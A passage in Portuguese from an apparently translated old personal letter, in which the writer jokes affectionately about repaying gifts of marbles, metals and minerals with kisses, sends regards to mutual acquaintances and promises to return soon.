ela conservou seu gosto pela história natural! Tenho mármores, e outros tantos
beijos pelos mármores; metais, e outros tantos beijos pelos metais; minerais, e
outros tantos beijos pelos mi­nerais. Como se arranjará ela para pagar toda a
Si­béria1? Se cada beijo deve ter um lugar, aconselho-a a
prover-se de amigas que se prestem a ajudá-la. Meus beijos, como deveis
imaginar, serão os menores possí­veis ; mas a Sibéria é muito grande. Teríeis
cometido o mesmo erro que eu, se me deixásseis esquecer o senhor e a senhora
Dijon. Recomendai-me ainda ao senhor Gas­chon, se estiverdes com ele antes de
mim. Ele ainda não terá resignado seu cargo de satélite do prazer, o mais
excêntrico de todos os planetas, que o passeia em todos os horizontes. Adeus,
boas amigas. Adeus. Muito breve estarei junto de vós, para não mais me afastar.

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